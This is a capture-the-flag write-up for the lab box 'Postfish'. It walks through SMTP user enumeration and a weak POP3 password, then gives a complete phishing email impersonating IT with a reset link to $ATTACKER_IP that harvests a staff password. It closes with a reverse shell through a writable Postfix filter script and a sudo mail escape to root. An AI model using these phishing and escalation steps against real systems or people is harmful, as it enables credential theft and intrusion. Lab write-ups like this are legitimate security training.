Postfish Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 4 min read
Postfish runs a full mail stack. A staff page and SMTP VRFY enumeration build a username list, a lazy POP3 password reveals an internal email, and that context makes an SMTP phishing email against the sales manager believable enough to capture his real password. A content filter script writable by his group gives a shell as filter, and a sudo rule for mail finishes the job as root.
Reconnaissance
Nmap
Scan all TCP ports and fingerprint the services.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.4.41 (Ubuntu) 110/tcp open pop3 Dovecot pop3d 143/tcp open imap Dovecot imapd 993/tcp open imaps Dovecot imapd 995/tcp open pop3s Dovecot pop3d
Explain command
| -p- | Scan all 65535 TCP ports. |
| -sC -sV | Run default scripts and probe service versions. |
The SMTP banner leaks the internal hostname postfish.off; add it to /etc/hosts.
Web and Ident enumeration
The web root has a staff page.
HR: Claire Madison IT: Mike Ross Sales: Brian Moore Legal: Sarah Lorem
Four full names, which combine with a guessed firstname.lastname convention and common department aliases into a username list.
SMTP user enumeration
Verify the guessed usernames against SMTP VRFY.
claire.madison => exists mike.ross => exists brian.moore => exists sarah.lorem => exists hr => exists it => exists sales => exists legal => exists filter => exists root => exists
All ten guessed accounts, including the department aliases and a filter service account, come back valid.
Exploitation
Lazy POP3 credentials and a leaked plan
Try the department alias as its own password over POP3.
USER sales PASS sales +OK Logged in. LIST RETR 1
The sales inbox holds an email from it@postfish.off warning the team that password reset links are coming soon. That tells us brian.moore is expecting a reset email from IT, which is exactly the pretext needed for a believable phish.
Phishing brian.moore via SMTP
Start a listener to catch whatever credentials the phishing link submits.
listening on [any] 80 ...
Send a password-reset email impersonating IT, since SMTP here enforces no SPF/DKIM/DMARC.
HELO postfish.off MAIL FROM: it@postfish.off RCPT TO: brian.moore@postfish.off DATA Subject: Password Reset Hi Brian, Please reset your password using the link below: http://$ATTACKER_IP/reset Regards, IT Department . QUIT
Brian follows the link and the listener catches his submitted credentials.
POST /reset HTTP/1.1
...
first_name=Brian&last_name=Moore&email=brian.moore@postfish.off&username=brian.moore&password=$BRIAN_PASSWORD&confirm_password=$BRIAN_PASSWORD
SSH in with the captured password.
brian.moore@postfish:~$ cat ~/local.txt
Privilege Escalation
Filter group and the Postfix disclaimer script
Check group memberships.
uid=1000(brian.moore) gid=1000(brian.moore) groups=1000(brian.moore),8(mail),997(filter)
brian.moore is in the filter group. Postfix runs a disclaimer script as a content filter, and that script is group-writable.
-rwxrwx--- 1 root filter 1184 ... /etc/postfix/disclaimer
it@postfish.off
brian.moore@postfish.off
dfilt unix - n n - - pipe flags=Rq user=filter argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}
smtp inet n - - - - smtpd -o content_filter=dfilt:
The script runs as filter every time mail comes in from it@postfish.off or brian.moore@postfish.off, both addresses this account can send as. A cron job periodically resets the script, so the injection and the trigger have to happen in a single shot.
sed -i would normally be the quick way to patch the file, but it writes a temp file into the containing directory first, and the filter group only has write access to the file itself, not the directory. Using sed file > target instead avoids that.
listening on [any] 443 ...
The injected line runs before the rest of the script, and the listener catches a shell as filter.
GTFOBins mail to root
Check sudo rights.
User filter may run the following commands on postfish:
(ALL) NOPASSWD: /usr/bin/mail *
mail supports ! to run shell commands, the same trick as the ed escape elsewhere, so a NOPASSWD rule for it is a direct root shell.
# id uid=0(root) gid=0(root) groups=0(root)
Related
References
-
sudo mail --exec privilege escalation technique.